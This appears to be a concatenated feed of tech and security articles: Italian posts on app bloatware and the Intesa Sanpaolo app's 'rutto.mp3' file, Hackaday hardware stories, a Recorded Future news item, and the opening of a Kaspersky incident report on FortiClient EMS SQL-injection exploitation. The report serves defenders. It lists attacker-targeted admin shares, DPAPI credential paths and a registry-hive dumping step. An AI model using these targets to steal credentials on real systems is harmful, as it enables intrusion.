• Usare solo dipendenze necessarie: prima di aggiungere una nuova libreria o dipendenza, valuta con attenzione se è davvero necessaria per il progetto. Ogni dipendenza aggiunge una certa quantità di codice che deve essere caricato e gestito.
• Versione minima delle librerie: quando possibile, scegli versioni leggere o ridotte delle librerie. Alcuni framework e librerie offrono versioni minimaliste che includono solo le funzionalità essenziali.
• Dipendenze modulari: preferisci librerie e framework modulari che ti permettano di importare solo le parti necessarie, evitando di caricare componenti superflui.
• Strumenti per la gestione delle dipendenze: strumenti come Webpack (per JavaScript) e Maven (per Java) possono essere utilizzati per ridurre al minimo le dipendenze caricate nell’applicazione, ottimizzando le performance.

Una corretta gestione delle dipendenze non solo mantiene il codice più snello ma riduce anche il rischio di vulnerabilità di sicurezza e bug derivanti da librerie inutilizzate o obsolete.

Best practice per una codifica snella

Adottare le migliori pratiche durante la scrittura del codice è fondamentale per evitare il bloatware. Ecco alcuni accorgimenti per scrivere codice efficiente e leggero:

• Scrivere codice modulare: il codice modulare è più facile da mantenere, riutilizzare e testare. Suddividi il codice in unità riutilizzabili che possano essere facilmente sostituite o aggiornate senza compromettere l’intera applicazione.
• Rimuovere il codice inutilizzato: una delle cause principali di bloatware è il codice non utilizzato o il codice obsoleto. Esegui una revisione regolare del codice per eliminare tutte le funzionalità che non sono più necessarie o utilizzate.
• Combinare e minimizzare i file: per il codice front-end, è buona prassi combinare e minimizzare i file JavaScript e CSS per ridurre il numero di richieste HTTP e migliorare i tempi di caricamento dell’applicazione.
• Ottimizzare le immagini e le risorse multimediali: le immagini e altre risorse multimediali possono pesare notevolmente su un’applicazione. Utilizza strumenti come ImageOptim o TinyPNG per ridurre la dimensione dei file senza compromettere la qualità visiva.

Scrivere codice modulare e pulito, privo di ridondanze, è una delle migliori strategie per garantire che l’applicazione resti leggera ed efficiente.

Automazione e integrazione continua

L’automazione e l’integrazione continua (CI) sono fondamentali per mantenere un flusso di lavoro regolare e senza intoppi, evitando l’accumulo di bloatware. Utilizzare strumenti di automazione permette di eseguire test, analisi e ottimizzazioni in tempo reale, garantendo la qualità del codice senza interventi manuali. Alcuni strumenti che facilitano questo processo sono:

• Jenkins: un server di automazione open source che aiuta a integrare e distribuire il codice automaticamente. Consente di eseguire test di regressione e analisi statiche del codice ogni volta che viene implementata una nuova funzionalità.
• CircleCI: una piattaforma di integrazione continua che ottimizza i processi di test e distribuzione, riducendo il rischio di introdurre bloatware nelle versioni del software.
• Travis CI: uno strumento di CI che può essere integrato con repository GitHub per automatizzare la compilazione, il test e la distribuzione del codice, garantendo un ciclo di vita del software senza intoppi.

Con l’integrazione continua e l’automazione, è possibile mantenere la qualità del codice alta e impedire l’inclusione di bloatware che potrebbe rallentare il progetto.

Monitoraggio e ottimizzazione delle prestazioni in tempo reale

Un’altra best practice importante per mantenere il codice leggero ed efficiente è il monitoraggio delle prestazioni in tempo reale. Strumenti di monitoraggio permettono di rilevare eventuali problemi di performance e di carico, identificando rapidamente le aree del codice che causano rallentamenti o inefficienze. Alcuni strumenti da considerare sono:

• New Relic: un’applicazione di monitoraggio delle prestazioni che fornisce insight in tempo reale su come l’applicazione sta performando, aiutando a individuare bottlenecks o parti di codice inefficienti.
• AppDynamics: simile a New Relic, AppDynamics è utile per monitorare in tempo reale le performance delle applicazioni e garantire che restino leggere e veloci.
• Google Lighthouse: uno strumento che permette di misurare la qualità delle performance, l’accessibilità e le best practice di un sito web o di un’applicazione. È un ottimo strumento per identificare risorse pesanti e ottimizzare le prestazioni.

Il monitoraggio costante delle prestazioni consente di mantenere il software sempre ottimizzato e prevenire che il bloatware rallenti il sistema.

Conclusioni

Il bloatware rappresenta una delle sfide più insidiose nello sviluppo software moderno. Sebbene possa sembrare un problema minore inizialmente, le sue implicazioni sulle prestazioni, sulla sicurezza e sui costi a lungo termine possono essere devastanti. Questo articolo ha esplorato cos’è il bloatware, come identificarlo nei progetti software, e ha evidenziato i rischi associati, come la riduzione delle prestazioni, l’aumento della superficie di attacco e l’incremento dei costi di manutenzione.

Per contrastare il bloatware, è fondamentale adottare una serie di strategie e best practice. L’utilizzo di strumenti di analisi del codice, la gestione oculata delle dipendenze, l’adozione di un codice modulare e ottimizzato, nonché l’integrazione di tecniche di monitoraggio delle prestazioni in tempo reale, sono tutte azioni cruciali per evitare che il software diventi appesantito e difficile da gestire. Inoltre, l’automazione e l’integrazione continua (CI) giocano un ruolo decisivo nel mantenere il codice sempre efficiente e senza problemi.

In sintesi, sebbene la lotta contro il bloatware richieda un impegno costante e l’adozione di strategie mirate, i benefici di un’applicazione più leggera, sicura e performante sono decisamente superiori. Con una gestione adeguata, è possibile sviluppare software che non solo risponde alle esigenze degli utenti, ma che è anche facile da mantenere, sicuro e pronto a scalare in futuro.

L'articolo Bloatware: il Killer Invisibile della Sicurezza e delle Prestazioni delle App proviene da il blog della sicurezza informatica.

[Peter Mount] had a simple problem. He’d treated himself to a retro purchase in the form of a BBC Master 128—a faster sequel to the BBC Micro Model B. The only problem was he needed a way to get software on to it. Cue a creative hack using a Raspberry Pi Zero W.

When [Peter] received the machine, it already had a GoTek floppy emulator, which pulled disk images off a USB drive. However, he wanted an easier and quicker way to get disk images to and from the machine for development purposes. Swapping the USB drive to and from another machine seemed too tedious.

Instead, he decided to swap in a Pi Zero W for this purpose, setting it up to emulate a flash drive by following instructions from MagPi Magazine. This would allow him to use the SCP tool to copy disk images over to the Pi Zero W via its WiFi connection. Basically, the Pi Zero W was acting as a wirelessly-updated storage device hooked up to the GoTek floppy emulator.

It’s a nifty way of doing things. [Peter] could have set about creating his own floppy emulator from scratch with wireless capability included. However, there was no need. He just needed a wirelessly-accessible USB drive, and the Pi Zero W was more than happy to act in that role.

The BBC Micro is a beloved machine of many in the British Isles, and it had rather an extended family. If you’ve pulled off your own nifty hack on this classic machine, be sure to hit us up on the tipsline!

hackaday.com/2024/12/19/old-bb…

Dial-up modems used to be the default way of accessing the Internet, but times have moved on. They’re now largely esoteric relics from a time gone by. With regular old phone lines rather hard to come by these days, [Peter Mount] decided to try getting a pair of dial-up modems working over VoIP instead.

The build started with a pair of Linksys PAP2T VoIP phone adapters, which were originally designed for hooking regular phones up to VoIP systems. He paired each US Robotics modem with a PAP2T, and then hooked both into a VoIP Private Branch Exchange which he set up using 3cx on a Raspberry Pi 3B+. The Pi also acted as a server for the modems to connect to. It took a lot of fiddly configuration steps, but he found success in the end. On YouTube, he demonstrates the setup—with that glorious modem sound—communicating successfully at a rate of 9600 baud.

It’s nice to see this vintage hardware communicating in a what is effectively a simulated world created entirely within modern hardware. We’ve seen similar projects before, like this attempt to get dial-up going over Discord. If you’re doing your own odd-ball screechy communications experiments, don’t hesitate to drop us a line!

youtube.com/embed/8k80wQQllp4?…

hackaday.com/2024/12/19/gettin…

The Sinclair ZX Spectrum+2 was the first home computer released by Amstrad after buying up Sinclair. It’s basically a Sinclair ZX Spectrum 128, but with a proper keyboard and a built-in tape drive. The one that [Mark] of the Mend it Mark YouTube channel got in for repair is however very much dead. Upon first inspection of the PCB, it was obvious that someone had been in there before, replacing the 7805 voltage regulator and some work on other parts as well, which was promising. After what seemed like an easy fix with a broken joint on the 9 VDC input jack, the video output was however garbled, leading to the real fault analysis.

Fortunately these systems have full schematics available, allowing for easy probing on the address and data lines. Based on this the Z80 CPU was swapped out to eliminate a range of possibilities, but this changed nothing with the symptoms, and a diagnostic ROM cartridge didn’t even boot. Replacing a DS74LS157 multiplexer and trying different RAM chips also made no difference. This still left an array of options on what could be wrong.

Tracking down one short with an IC seemed to be a break, but the video output remained garbled, leaving the exciting possibility of multiple faults remaining. This pattern continues for most of the rest of the video, as through a slow process of elimination the bugs are all hunted down and eliminated, leaving a revived Spectrum+2 (and working tape drive) in its wake, as well as the realization that even with all through-hole parts and full schematics, troubleshooting can still be a royal pain.

youtube.com/embed/ocpDG2O3H6o?…

hackaday.com/2024/12/19/fixing…

Don’t ask us why, but hackers and makers just love building clocks. Especially in the latter case, many like to specialize in builds that don’t even look like traditional timepieces, and are difficult to read unless you know the trick behind them. [NerdCave] has brought us a pleasing example of such a thing, in the form of this gorgeous Fibonacci clock.

The build was inspired by an earlier Fibonacci clock that later became a Kickstarter project. Where that build used an Atmega328P, though, [NerdCage] landed on using a Raspberry Pi Pico W instead. The build throws the microcontroller board on a custom PCB, and sticks in inside an attractive 3D-printed enclosure. Black filmanet was used for the body, while white filament was used for the face of each square to act as a diffuser. Addressable RGB LEDs are used to illuminate the five square segments of the clock.

Obviously, you’re wondering how to read the clock. All you need to know is this. The first five numbers in the Fibonacci sequence are 1, 1, 2, 3, and 5. Each square on the clock represents one of these numbers—the side lengths of each square match these numbers. Red and green are used to represent hours and minutes, respectively, while a blue square is representing both. Basically, to get the hour, add up the values of red and blue squares, and to get the minutes, do the same with green and blue squares, but then multiply by 5. In the header image, the clock is displaying 8:55 PM… we think.

We’ve featured Fibonacci-themed clocks before, albeit ones with entirely different visual themes. Video after the break.

youtube.com/embed/TrzDxgc1X7A?…

hackaday.com/2024/12/19/fibona…

Intesa Sanpaolo ha recentemente rilasciato un aggiornamento per la sua applicazione mobile, dopo le critiche riguardo le sue dimensioni e alla presenza di file non necessari come “rutto.mp3”.

L’app, che in precedenza era stata analizzata da Emerge Tools, occupava circa 700 MB.

Come riporta in un tweet @filipposighinolfi, è stata rilasciata la versione “3.19.2, che rimuove sia il suono del rutto che l’immagine codificata. La build sembra essere di ieri alle 21:40 ed è stata rilasciata 2 ore fa sull’App Store”.

L’analisi di Emerge Tools aveva evidenziato che il 64% dello spazio dell’applicazione era occupato da framework dinamici, suggerendo che una loro ottimizzazione avrebbe potuto ridurre significativamente le dimensioni complessive. Inoltre, erano stati individuati asset duplicati e file inutili che contribuivano all’eccessivo peso dell’app.

Con l’ultimo aggiornamento, Intesa Sanpaolo ha rimosso il file “rutto.mp3” e ha implementato delle ottimizzazioni per ridurre le dimensioni dell’applicazione.
File “rutto.mp3” di 5kb presente all’interno dell’APP Eliminazione del file rutto.mp3 nell’attuale versione
Intesa Sanpaolo ha prontamente rimosso il file “rutto.mp3” dall’applicazione e sicuramente procederà ad un refactoring dell’app eliminando il software superfluo, ottimizzando così le prestazioni e alleggerendo l’applicazione per offrire un’esperienza utente più fluida e reattiva.

L'articolo Rutto.mp3 sparisce dall’App di Intesa Sanpaolo. La versione 3.19.2 è ora negli Store proviene da il blog della sicurezza informatica.

What’s the best way to measure the depth of a well using a smartphone? If you’re fed up with social media, you might kill two birds with one stone and drop the thing down the well and listen for the splash. But if you’re looking for a less intrusive — not to mention less expensive — method, you could also use your phone to get the depth acoustically.

This is a quick hack that [Practical Engineering Solutions] came up with to measure the distance to the surface of the water in a residential well, which we were skeptical would work with any precision due to its deceptive simplicity. All you need to do is start a sound recorder app and place the phone on the well cover. A few taps on the casing of the well with a hammer send sound impulses down the well; the reflections from the water show up in the recording, which can be analyzed in Audacity or some similar sound editing program. From there it’s easy to measure how long it took for the echo to return and calculate the distance to the water. In the video below, he was able to get within 3% of the physically measured depth — pretty impressive.

Of course, a few caveats apply. It’s important to use a dead-blow hammer to avoid ringing the steel well casing, which would muddle the return signal. You also might want to physically couple the phone to the well cap so it doesn’t bounce around too much; in the video it’s suggested a few bags filled with sand as ballast could be used to keep the phone in place. You also might get unwanted reflections from down-hole equipment such as the drop pipe or wires leading to the submersible pump.

Sources of error aside, this is a clever idea for a quick measurement that has the benefit of not needing to open the well. It’s also another clever use of Audacity to use sound to see the world around us in a different way.

youtube.com/embed/LTzlVsm6dhE?…

hackaday.com/2024/12/19/measur…

We talk a lot about patent disputes in today’s high-tech world. Whether it’s Wi-Fi, 3D printing, or progress bars, patent disputes can quickly become big money—for lawyers and litigants alike.

Where we see less of this, typically, is the world of sports. And yet, a recent football innovation has seen plenty of conflict in this very area. This is the controversial story of vanishing spray.

Patently Absurd

Vanishing spray has quickly become a common sight on the belts of professional referees. Credit: Balkan Photos, CC BY-SA 2.0
You might have played football (soccer) as a child, and if that’s the case, you probably don’t remember vanishing spray as a key part of the sport. Indeed, it’s a relatively modern innovation, which came into play in international matches from 2013. The spray allowed referees to mark a line with a sort of disappearing foam, which could then be used to enforce the 10-yard distance between opposing players and the ball during a free kick.

The product is a fairly simple aerosol—the cans contain water, butane, a surfactant, vegetable oil, and some other minor constituents. When the aerosol nozzle is pressed, the liquified butane expands into a gas, creating a foam with the water and surfactant content. This creates an obvious white line that then disappears in just a few minutes.

The spray was created by Brazilian inventor Heine Allemagne in 2000, and was originally given the name Spuni. He filed a patent in 2000, which was then granted in 2002. It was being used in professional games by 2001, and quickly adopted in the mainstream Brazilian professional competition.

The future looked bright for Allemagne and his invention, with the Brazilian meeting with FIFA in 2012 to explore its use at the highest level of international football. In 2013, FIFA adopted the use of the vanishing spray for the Club World Cup. It appeared again in the 2014 World Cup, and many competitions since. By this time, it had been renamed “9.15 Fair Play,” referring to the metric equivalent of the 10-yard (9.15 meter) distance for free kicks.
After its first use by FIFA, the use of vanishing spray quickly spread to other professional competitions, making its first appearance in the Premier League in 2014. Credit: Egghead06, CC BY-SA 4.0
The controversy came later. Allemagne would go on to publicly claim that the global sporting body had refused to pay him the agreed price for his patent. He would go on to tell the press he’d knocked back an initial offer of $500,000, with FIFA later agreeing to pay $40 million for the invention. Only, the organization never actually paid up, and started encouraging the manufacture of copycat products from other manufacturers. In 2017, the matter went to court, with a Brazilian ruling acknowledging Allemagne’s patent. It also ordered FIFA to stop using the spray, or else face the risk of fines. However, as is often the way, FIFA repeatedly attempted to appeal the decision, raising questions about the validity of Allemagne’s patent.

The case has languished in the legal system for years since. In 2020, one court found against Allemagne, stating he hadn’t proven that FIFA had infringed his products or that he had suffered any real damages. By 2022, that had been overturned on appeal to a higher court, which found that FIFA had to pay material damages for their use of vanishing spray, and for the loss of profits suffered by Allemagne. The latest development occurred earlier this year, with the Superior Court of Justice ruling that FIFA must compensate Allemagne for his invention. In May, CNN reported that he expected to receive $40 million as a result of the case, with all five ministers on the Superior Court ruling in his favor.

Ultimately, vanishing spray is yet another case of authorities implementing ever-greater control over the world of football. It’s also another sad case of an inventor having to fight to receive their due compensation for an innovative idea. What seems like an open-and-shut case nevertheless took years to untangle in the courts. It’s a shame, because what should be a simple and tidy addition to the world of football has become a mess of litigation that cost time, money, and a great deal of strife. It was ever thus.

Featured Image: Вячеслав Евдокимов, CC BY-SA 3.0

hackaday.com/2024/12/19/the-ba…

If you program in C, strings are just in your imagination. What you really have is a character pointer, and we all agree that a string is every character from that point up until one of the characters is zero. While that’s simple and useful, it is also the source of many errors. For example, writing a 32-byte string to a 16-byte array or failing to terminal a string with a zero byte. [Thasso] has been experimenting with a different way to represent strings that is still fairly simple but helps keep things straight.

Like many other languages, this setup uses counted strings and string buffers. You can read and write to a string buffer, but strings are read-only. In either case, there is a length for the contents and, in the case of the buffer, a length for the entire buffer.

We’ve seen schemes like this before and [Thasso] borrowed the idea from [Chris Wellons]. The real issue, of course, is that you now have to rewrite or wrap any “normal” C functions you have that take or return strings. We’ve also seen this done where the length is stored ahead of the string so you don’t have a field for the character pointer:

struct str
{
sz len;
char dat[0];
};

Even though the prototypical structure has a zero length, the actual structure can be larger.

If you are worried about efficiency, [Thasso] and [Wellons] both point out that modern compilers are good at handling small structures, so maybe that’s an advantage to not putting the data directly into the struct. If you need characters larger than one byte, the [Wellons] post has some thoughts on that, too.

This is all old hat on C++, of course. No matter how you encode your strings, you should probably avoid the naughty ones. Passwords, too.

hackaday.com/2024/12/19/better…

Nel mondo delle app, la leggerezza dovrebbe essere un obiettivo primario, soprattutto per le applicazioni bancarie che gestiscono informazioni sensibili. Eppure, l’analisi condotta da Emerge Tools ha svelato un’anomalia preoccupante: l’app di Banca Intesa per iOS occupa ben 700 MB di spazio, un valore abnorme per un’app di questo tipo.

Un’app che, oltre a essere troppo “pesante”, nasconde anche una curiosa e potenzialmente problematica scoperta: un misterioso file audio denominato “rutto.mp3”.

Bloatware e Sicurezza

Nel contesto delle applicazioni bancarie, la sicurezza è fondamentale. Ma la dimensione e l’architettura dell’app hanno un impatto diretto anche sulle performance di sicurezza. Con un 64% dello spazio occupato da framework dinamici, il codice diventa vulnerabile a exploit se non ottimizzato correttamente.

Framework di grandi dimensioni e codice non necessario sono una porta aperta per potenziali attacchi, oltre ad aggravare la gestione delle risorse e la stabilità dell’app.

L’inclusione di file di dimensioni non giustificate, come il ridondante “rutto.mp3”, sebbene apparentemente innocuo, suggerisce una mancanza di rigore nella gestione dei contenuti. Tutto questo potrebbe essere un campanello d’allarme per gli esperti di sicurezza, che devono considerare anche i rischi derivanti da file non strettamente necessari.

Se un’app non è in grado di gestire correttamente file o risorse di minore impatto, come possiamo aspettarci che gestisca adeguatamente dati sensibili o transazioni finanziarie?

Il pericolo del Bloatware

Questo episodio di bloatware, dove l’applicazione cresce senza controllo, non è un caso isolato. Con l’inserimento di nuove funzionalità senza un’adeguata razionalizzazione del codice esistente, le app diventano sempre più difficili da manutenere e vulnerabili a possibili attacchi. Il bloatware non solo rallenta i dispositivi e peggiora l’esperienza utente, ma aumenta anche la superficie di attacco. Ogni nuova funzionalità non ottimizzata è un’opportunità in più per gli hacker criminali di sfruttare eventuali vulnerabilità.

La gestione delle risorse in modo efficiente non è solo una questione di prestazioni, ma una parte integrante della sicurezza complessiva dell’app. Il codice superfluo e non verificato potrebbe infatti mascherare potenziali minacce.

Non si tratta quindi solo di prestazioni e sicurezza: il bloatware, se non gestito adeguatamente, può compromettere anche l’immagine di un’azienda. Un’app troppo pesante o poco ottimizzata può far sorgere dubbi nei consumatori riguardo alla competenza tecnica dell’azienda. Per una banca, questo significa mettere a rischio la fiducia degli utenti, che potrebbero chiedersi se anche la sicurezza delle loro informazioni sia trattata con la stessa disattenzione.

Conclusione

Per Banca Intesa, e per tutte le aziende che sviluppano app, l’adozione di una strategia focalizzata sull’efficienza e sulla sicurezza, eliminando il codice e i file inutili, è essenziale. Un’app ottimizzata non solo migliora l’esperienza dell’utente, ma riduce anche le superfici di attacco, limitando il rischio di vulnerabilità.

Eliminare elementi superflui, come il famoso “rutto.mp3”, non sarebbe solo un segno di attenzione verso gli utenti, ma un passo verso una sicurezza più solida e una maggiore efficienza operativa.

Come nostra consuetudine, lasciamo sempre spazio ad un commento da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

L'articolo L’App di Banca Intesa e il Misterioso “rutto.mp3”: Un Caso di Bloatware Che Porta a Riflessioni proviene da il blog della sicurezza informatica.

Recently there was a bit of a panic in the media regarding a very common item in kitchens all around the world: black plastic utensils used for flipping, scooping and otherwise handling our food while preparing culinary delights. The claim was that the recycled plastic which is used for many of these utensils leak a bad kind of flame-retardant chemical, decabromodiphenyl ether, or BDE-209, at a rate that would bring it dangerously close to the maximum allowed intake limit for humans. Only this claim was incorrect because the researchers who did the original study got their calculation of the intake limit wrong by a factor of ten.

This recent example is emblematic of how simple mistakes can combine with a reluctance to validate conclusions can lead successive consumers down a game of telephone where the original text may already have been wrong, where each node does not validate the provided text, and suddenly everyone knows that using certain kitchen utensils, microwaving dishes or adding that one thing to your food is pretty much guaranteed to kill you.

How does one go about defending oneself from becoming an unwitting factor in creating and propagating misinformation?

Making Mistakes Is Human

We all make mistakes, as nobody of us is perfect. Our memory is lossy, our focus drifts, and one momentary glitch is all it takes to make that typo, omit carrying the one, or pay attention to the road during that one crucial moment. As a result we have invented many ways to compensate for our flawed brains, much of it centered around double-checking, peer-validation and ways to keep an operator focused with increasingly automated means to interfere when said operator did not act in time.

The error in the black plastic utensils study is an example of what appears to be an innocent mistake that didn’t get caught before publication, and then likely the assumption was made by media publications – as they rushed to get that click-worthy scoop written up – that the original authors and peer-review process had caught any major mistakes. Unfortunately the original study by Megan Liu et al. in Chemosphere listed the BDE-209 reference dose for a 60 kg adult as 42,000 ng/day, when the reference dose per kg body weight is 7,000 ng.

It doesn’t take a genius to see that 60 times 7,000 makes 420,000 ng/day, and as it’s at the core of the conclusion being drawn, it ought to have been checked and double-checked alongside the calculated daily intake from contaminated cooking utensils at 34,700 ng/day. This ‘miscalculation’ as per the authors changed the impact from a solid 80% of the reference dose to not even 10%, putting it closer to the daily intake from other sources like dust. One factor that also played a role here, as pointed out by Joseph Brean in the earlier linked National Post article, is that the authors used nanograms, when micrograms would have sufficed and cut three redundant zeroes off each value.
Stroop task comparison. Naming the colors become much harder when the text and color do not match.
Of note with the (human) brain is that error detection and correction are an integral part of learning, and this process can be readily detected with an EEG scan as an event-related potential (ERP), specifically an error-related negativity (ERN). This is something that we consciously experience as well, such as when we perform an action like typing some text and before we have a chance to re-read what we wrote we already know that we made a mistake. Other common examples include being aware of misspeaking even as the words leave your mouth and that sense of dread before an action you’re performing doesn’t quite work out as expected.

An interesting case study here involves these ERNs in the human medial frontal cortex as published in Neuron back in 2018 by Zhongzheng Fu et al. (with related Cedars-Sinai article). In this experimental setup volunteers were monitored via EEG as they were challenged with a Stroop task. During this task the self-monitoring of errors plays a major role as saying the word competes with saying the color, a struggle that’s visible in the EEG and shows the active error-correcting neurons to be located in regions like the dorsal anterior cingulate cortex (dACC). A good explanation can be found in this Frontiers for Young Minds article.

The ERN signal strength changes with age, becoming stronger as our brain grows and develops, including pertinent regions like the cingulate cortex. Yet as helpful as this mechanism is, mistakes will inevitably slip through and is why proofreading text requires a fresh pair of eyes, ideally a pair not belonging to the person who originally wrote said text, as they may be biased to pass over said mistakes.

Cognitive Biases

Although there is at this point no evidence to support the hypothesis that we are just brains in jars gently sloshing about in cerebrospinal fluid as sentient robots feed said brains a simulated reality, effectively this isn’t so far removed from the truth. Safely nestled inside our skulls we can only obtain a heavily filtered interpretation of the world around us via our senses, each of which throw away significant amounts of data in e.g. the retina before the remaining data percolates through their respective cortices and subsequent neural networks until whatever information is left seeps up into the neocortex where our consciousness resides as a somewhat haphazard integration of data streams.
The microwave oven, an innocent kitchen appliance depending on who you ask. (Credit: Mrbeastmodeallday, CC BY-SA 4.0)
Along the way there are countless (subconscious) processes that can affect how we consciously experience this information seepage. These are collectively called ‘cognitive biases‘, and include common types like confirmation bias. This particular type of bias is particularly prevalent as humans appear to be strongly biased towards seeking out confirmation of existing beliefs, rather than seeking out narratives that may challenge said beliefs.

Unsurprisingly, examples of confirmation bias are everywhere, ranging from the subtle (e.g. overconfidence and faulty reasoning in e.g. diagnosing a defect) to the extreme, such as dogmatic beliefs affecting large groups where any challenge to the faulty belief is met by equally extreme responses. Common examples here are anti-vaccination beliefs – where people will readily believe that vaccines cause everything from cancer to autism – and anti-radiation beliefs which range from insisting that electromagnetic radiation from powerlines, microwave ovens, WiFi, etc. is harmful, to believing various unfounded claims about nuclear power and the hazards of ionizing radiation.

In the case of our black plastic kitchen utensils some people in the audience likely already had a pre-existing bias towards believing that plastic cooking utensils are somehow bad, and for whom the faulty calculation thus confirmed this bias. They would have had little cause to validate the claim and happily shared it on their social media accounts and email lists as an irrefutable fact, resulting in many of these spatulas and friends finding themselves tossed into the bin in a blind panic.

Trust But Verify

Obviously you cannot go through each moment of the day validating every single piece of information that comes your way. The key here is to validate and verify where it matters. After reading such an alarmist article about cooking utensils in one’s local purveyor of journalistic integrity and/or social media, it behooves one to investigate these claims and possibly even run the numbers oneself, before making your way over to the kitchen to forcefully rip all of those claimed carriers of cancer seeds out of their respective drawers and hurling them into the trash bin.

The same kind of due diligence is important when a single, likely biased source makes a particular claim. Especially in this era where post-truth often trumps intellectualism, it’s important to take a step back when a claim is made and consider it in a broader context. While this miscalculation with flame-retardant levels in black kitchen utensils won’t have much of an impact on society, the many cases of clear cognitive bias in daily life as well as their exploitation by the unscrupulous brings to mind Carl Sagan’s fears about a ‘celebration of ignorance’ as expressed in his 1995 book The Demon-Haunted World: Science as a Candle in the Dark.

With a populace primed to respond to every emotionally-charged sound bite, we need these candles more than ever.

hackaday.com/2024/12/19/human-…

Recentemente, il governo russo ha preso una decisione che ha che ha suscitato grande attenzione a livello internazionale: ha etichettato ufficialmente la compagnia di intelligence sulle minacce informatiche (CTI) Recorded Future come “indesiderabile”. Per l’azienda, questa etichetta non è un castigo, ma piuttosto un segno di onore, come sottolineato dallo stesso CEO, Christopher Ahlberg.

L’etichetta di “indesiderabile” è una terminologia ufficiale adottata dalla Russia per sanzionare enti che non rientrano nei suoi favori, impedendo loro di operare nel paese o interagire con aziende e individui russi. Introdotta nel 2015, questa misura ha lo scopo di limitare l’influenza di organizzazioni non governative (ONG), media e altri membri della società civile che mettono in luce le violazioni dei diritti umani e criticano il regime di Vladimir Putin, noto per il suo autoritarismo.

Recorded Future è la prima organizzazione di sicurezza informatica a ricevere questa nomina, e una delle poche aziende a “guadagnarsela”. Tuttavia, l’ufficio del Procuratore Generale della Federazione Russa ha erroneamente etichettato l’azienda come un’ONG, nel suo annuncio del 18 dicembre riguardo alla “designazione indesiderabile”. Tra le presunte colpe che hanno portato a questa decisione ci sono: il finanziamento da parte di aziende americane, la fornitura di servizi di ricerca, elaborazione e analisi di dati, inclusi quelli provenienti dal Dark Web, la “specializzazione nelle minacce informatiche” e l’interazione attiva con la CIA e altri servizi di intelligence stranieri.

Inoltre, il Procuratore Generale ha accusato Recorded Future di diffondere “propaganda” e di essere coinvolta in “campagne informative offensive” riguardo alla guerra in Ucraina, monitorando le attività dell’esercito russo e alimentando le autorità ucraine con informazioni riservate.

Nonostante le accuse, Christopher Ahlberg ha reagito positivamente alla notizia, postando su X: “Alcune cose nella vita sono complimenti rari. Questa lo è.“

Questa mossa da parte della Russia arriva in un momento in cui Recorded Future sta per essere acquisita da Mastercard per 2,65 miliardi di dollari, dimostrando ancora una volta l’importanza strategica dell’azienda nel panorama globale della cyber security. La decisione del governo russo di etichettarla come indesiderabile non fa che evidenziare il peso e la rilevanza che l’azienda ha acquisito nel monitoraggio delle minacce informatiche globali e nella lotta contro la disinformazione.

L'articolo Russia etichetta Recorded Future come “Indesiderabile”: un vanto per il CEO proviene da il blog della sicurezza informatica.

Energy harvesting, the practice of scavenging ambient electromagnetic fields, light, or other energy sources, is a fascinating subject that we don’t see enough of here at Hackaday. It’s pleasing then to see [Jeff Keacher]’s Christmas card: it’s a PCB that lights up some LEDs on a Christmas tree, using 2.4 GHz radiation, and ambient light.

The light sensors are a set of LEDs, but the interesting part lies in the RF harvesting circuit. There’s a PCB antenna, a matching network, and then a voltage multiplier using dome RF Schottky diodes. These in turn charge a supercapacitor, but if there’s not enough light a USB power source can also be hooked up. All of this drives a PIC microcontroller, which drives the LEDs.

Why a microcontroller, you ask? This card has an interesting trick up its sleeve, despite having no WiFi of its own, it can be controlled over WiFi. If the 2.4 GHz source comes via proximity to an access point, there’s a web page that can be visited with a script generating packets in bursts that produce a serial pulse train on the DC from the power harvester. The microcontroller can see this, and it works as a remote. This is in our view, next-level.

hackaday.com/2024/12/19/where-…

Introduction

During a recent incident response, Kaspersky’s GERT team identified a set of TTPs and indicators linked to an attacker that infiltrated a company’s networks by targeting a Fortinet vulnerability for which a patch was already available.

This vulnerability is an improper filtering of SQL command input making the system susceptible to an SQL injection. It specifically affects Fortinet FortiClient EMS versions 7.0.1 to 7.0.10 and 7.2.0 to 7.2.2. When successfully exploited, this vulnerability allows attackers to execute unauthorized code or commands by sending specially crafted data packets.

The affected system was a Windows server exposed to the internet, with only two ports open. The targeted company employs this technology to allow employees to download specific policies to their corporate devices, granting them secure access to the Fortinet VPN.

Open ports exposed to the Internet

Identification and containment

In October 2024, telemetry alerts from our MDR technology revealed attempts by an internal IP address to access registry hives via an admin account on a customer’s Windows server. The IP address where the requests originated was part of the customer’s network but it was not covered by the MDR solution according to the customer’s assessment. These attempts also targeted administrative shares, including the following.

• \\192.168.X.X\C$\Users;
• \\192.168.X.X\C$\;
• \\192.168.X.X\IPC$\srvsvc;
• \\192.168.X.X\IPC$\svcctl;
• \\192.168.X.X \IPC$\winreg;
• \\192.168.X.X \ADMIN$\SYSTEM32\WqgLtykM.tmp;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\DPAPI Master Keys;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\User Keys;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\Protected Credentials.

Locally, on the machine with the compromised IP address, several attempts were made to dump the HKLM\SAM and HKLM\SECURITY registry hives via the Remote Registry service.
C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry
Evidence also confirmed multiple failed login attempts reported by Kaspersky MDR, which originated from the same internal IP address on multiple hosts that used an administrator account.

Analysis and initial vector

By collecting the evidence of the remote activities mentioned above from the source server, we confirmed that this server was exposed to the internet, with two open ports associated with FortiClient EMS. Filesystem artifacts confirmed the execution of remote monitoring and management (RMM) tools, such as ScreenConnect and AnyDesk. Given the use of the FortiClient EMS technology, it was confirmed that the installed version (7.01) was vulnerable to CVE-2023-48788, so it was necessary to get additional evidence from system logs to explore possible exploitation artifacts. Below are two key paths where the logs can be found.

• FortiClient Log – C:\Program Files\Fortinet\FortiClientEMS\logs\*
  
  • Relevant files:
    
    • ems.log: This is the main log for FortiClient EMS. It can point to unusual behavior, database errors, unauthorized access or injection attempts.
    • sql_trace.log or similar logs: If this file is present, it may contain detailed information about SQL queries that have been run. This log can be reviewed for unexpected or malformed queries, which could indicate an attempt at SQL injection.

    
    

  
  

• MS SQL – C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\*
  
  • These logs are associated with MS SQL Server as used by FortiClient EMS.

  
  

We were able to discover the evidence of an SQL injection that the attacker had successfully performed in one of the ERRORLOG files at the second path, C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\ERRORLOG.X.

Evidence of the CVE-2023-48788 exploitation

